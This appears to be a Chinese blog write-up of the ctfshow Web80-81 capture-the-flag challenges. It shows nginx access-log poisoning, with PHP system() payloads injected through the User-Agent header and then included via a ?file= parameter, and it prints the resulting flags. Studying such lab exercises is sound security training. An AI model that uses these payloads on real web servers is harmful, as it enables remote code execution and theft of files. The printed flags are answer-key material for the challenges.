ctfshow 日志包含Web80-81

2022/4/16

题目过滤了php和data，我们这次要用日志文件包含

先抓包

nginx日志的默认路径为/var/log/nginx.

ssh日志的默认路径为/var/log/auth.log

SSH服务如果开启了日志记录功能，会将SSH的连接日志记录到SSH日志文件中（题目是nginx日志）日志文件包含的漏洞的利用条件是:日志路径已知,并且有可读权限。日志文件的默认路径为上述

现在要将恶意代码写入日志文件

/?file=/var/log/nginx/access.log

<?php system(ls); ?>

得到fl0g.php

在User-Agent中输入

<?php system('base64 fl0g.php');?>

得到flag的base64编码

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMToyNDozNw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTE6MjU6MDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s4Mzc4ZGVhZC1kYzQxLTRmNDctYTY5ZS01MmVkZDY1MjEwZjd9Ijs=

解码后得到

ctfshow{8378dead-dc41-4f47-a69e-52edd65210f7}

Web81

多过滤了：

/?file=/var/log/nginx/access.log

<?php system(ls); ?>

在User-Agent中输入

<?php system('base64 fl0g.php');?>

ctfshow{95544252-d2bb-4a39-96f8-26d34164996e}

ctfshow 日志包含Web80-81相关推荐

CTFshow 文件包含 web80
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...
CTFshow 文件包含 web81
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...
通过日志恢复oracle序列,（存档日志包含序列84，要求序列36）怎么恢复啊？
(存档日志包含序列84,要求序列36)怎么恢复啊? SQL> startup mount; ORACLE 例程已启动 Total System Global Area 135338868 by ...
渗透测试-中间件日志包含绕过和php文件读写包含
中间件日志包含绕过文章目录中间件日志包含绕过前言一.什么是中间件日志包含绕过二.中间件日志包含漏洞获取shell 1.中间件日志包含 2.利用Apache日志获取shell 总结前言一. ...
ctfshow 文件包含Web78-79
Ctfshow文件包含漏洞 2022/4/15 漏洞简介: 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件.如果文件中存在恶意代码,无论文件是什么类型 ...
ctfshow 文件包含 web 78 -117
目录 web 78 web 79 web 80 web 81 web 82-86(环境暂时做不了) web 87 web 88 web 116 web 117 web 78 data://text/p ...
CTFshow 文件包含 web82
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...
尚未备份数据库 *** 的日志尾部。如果该日志包含您不希望丢失的工作，请使用 BACKUP LOG WITH NORECOVERY 备份该日志。...
使用SQL Server 2005还原备份的数据库文件时出现的问题,如题. 前提:如果你有个数据库的.bak的备份文件. 右键点击数据库任务-->还原-->数据库 1.还原的目标选择你要 ...
CTFshow 文件包含 web117
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: yu22x # @Date: 2020-09-16 11:25:09 # ...
CTFshow 文件包含 web116
目录源码思路题解总结源码下载视频用winhex分离出png 思路可以正常读文件题解直接跑字典总结水题

ctfshow 日志包含Web80-81

ctfshow 日志包含Web80-81相关推荐

最新文章

热门文章